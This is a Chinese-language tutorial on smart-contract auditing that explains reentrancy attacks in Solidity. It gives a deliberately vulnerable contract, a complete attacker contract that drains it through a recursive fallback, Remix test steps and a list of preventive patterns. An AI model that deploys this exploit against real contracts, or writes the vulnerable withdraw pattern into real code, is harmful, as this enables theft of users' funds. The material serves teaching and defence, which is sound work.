智慧合約安全審計之路-重入攻擊
- 2020 年 3 月 8 日
- 筆記
文章源自【位元組脈搏社區】-位元組脈搏實驗室
作者-畢竟話少
描述:漏洞合約中某個函數中,使用call()方法發送eth,若eth的接收者為一個合約地址,則會觸發該合約的fallback()函數。若該合約是攻擊者的惡意合約,攻擊者可以在fallback()函數中重新調用漏洞合約的上述函數,導致重入攻擊
核心問題:重要的合約變數在「重入」的過程中沒有被修改,從而繞過了限制

Fallback函數
概念: 回退函數,是合約里的特殊無名函數,有且僅有一個。它在合約調用沒有匹配到函數簽名,或者調用沒有帶任何數據時被自動調用。
觸發場景:
- address.send(ether_to_send)
- address.call().value(ether_to_send)

漏洞流程

漏洞合約分析
pragma solidity ^0.4.24; contract ReentrancyGame { mapping (address => uint) public credit; //credit表示存儲用戶的餘額 event Deposit(address _who, uint value); //Deposit表示充值 event Withdraw(address _who, uint value); function deposit() payable public returns (bool) { credit[msg.sender] += msg.value; //credit調用deposit()函數進行充值使用msg.value進行ETH發送 emit Deposit(msg.sender, msg.value); return true; } function withdraw(uint amount) public returns (bool) { //withdraw提幣函數 if (credit[msg.sender]>= amount) { msg.sender.call.value(amount)(); credit[msg.sender]-=amount; emit Withdraw(msg.sender, amount); return true; } return false; } function creditOf(address to) public returns (uint) { return credit[to]; } }
漏洞點:從提幣開始,首先校驗credit是否大於amount(本次提現的ETH),然後使用call.value進行轉賬,然後再扣除餘額。這裡漏洞點就出在我們先使用call.value對用戶進行轉賬,然後再減少餘額。就是因為這種情況,攻擊者可以反覆進行withdraw(),在進入withdraw()之前,第一步的校驗仍然有效,在進入withdraw()之後,credit(餘額)並沒有減少,第一步的校驗仍然有效,攻擊者才能源源不斷的從合約中提取ETH

攻擊者合約
pragma solidity ^0.4.24; contract ReentrancyGame { mapping (address => uint) public credit; event Deposit(address _who, uint value); event Withdraw(address _who, uint value); function deposit() payable public returns (bool) { credit[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); return true; } function withdraw(uint amount) public returns (bool) { if (credit[msg.sender]>= amount) { msg.sender.call.value(amount)(); credit[msg.sender]-=amount; emit Withdraw(msg.sender, amount); return true; } return false; } function creditOf(address to) public returns (uint) { return credit[to]; } function checkBalance() public constant returns (uint){ return this.balance; } } contract ReentrancyAttack { //調用attack()函數對漏洞合約進行遠遠不斷的偷取ETH ReentrancyGame public regame; address owner; function ReentrancyAttack (ReentrancyGame addr) payable { owner = msg.sender; regame = addr; } function attack() public returns (bool){ regame.deposit.value(1)(); regame.withdraw(1); return true; } function geteth() public returns (bool){ owner.transfer(this.balance); return true; } function checkBalance() public constant returns (uint){ return this.balance; } function() public payable { regame.withdraw(1); } }
使用Remix進行調試
- 首先對合約進行編譯(Current version設置為0.4X,Auto compile,Enable Optimization全部勾上。編譯完成後會出現2個合約分別為ReentrancyAttack,ReentrancyGame)
- 首先部署ReentrancyGame(漏洞合約),這裡Account設置一個受害者賬戶(0xca3…a733c),然後點擊Deploy部署完成後漏洞合約,這裡還是需要充值一定數量的ETH便於實驗觀察(Value設置為100 wei ETH點擊deposit,然後點擊checkBalance查看當前受害者地址為100 wei ETH,這裡受害者合約ReentrancyGame就部署完成了)
- 攻擊者合約部署ReentrancyAttack(攻擊者合約),由於漏洞合約地址在提現的時候需要一定的ETH,所以這裡在設置ReentrancyAttack合約的時候需要設置Value為5 wei ETH,Deploy設置為ReetrancyGame合約地址(註:這裡是合約地址並不是賬戶地址)Account換一個賬戶(0x147…c160c)點擊Deploy即可部署攻擊者合約,部署完成後點擊checkBalance查看當前賬戶餘額為5 wei ETH,說明攻擊者合約部署完成了
- 漏洞攻擊-點擊ReentrancyAttack(攻擊者合約)attack即可攻擊。攻擊的過程中由於一直通過withdraw()函數進行循環提現,過程有點緩慢,等gas消耗完畢既可以查看(checkBalance)攻擊者合約帳號餘額為51 wei ETH,再次查看ReentrancyGame(漏洞合約)賬戶餘額為54 wei ETH,漏洞利用成功

漏洞預防
- 在將 Ether 發送給外部合約時使用內置的 transfer() 函數 。transfer轉賬功能只發送 2300 gas 不足以使目的地址/合約調用另一份合約(即重入發送合約)。
- 引入互斥鎖。也就是說,要添加一個在程式碼執行過程中鎖定合約的狀態變數,阻止重入調用。
- 將任何對未知地址執行外部調用的程式碼,放置在本地化函數或程式碼執行中作為最後一個操作,是一種很好的做法。這被稱為 檢查效果交互(checks-effects-interactions) 模式。
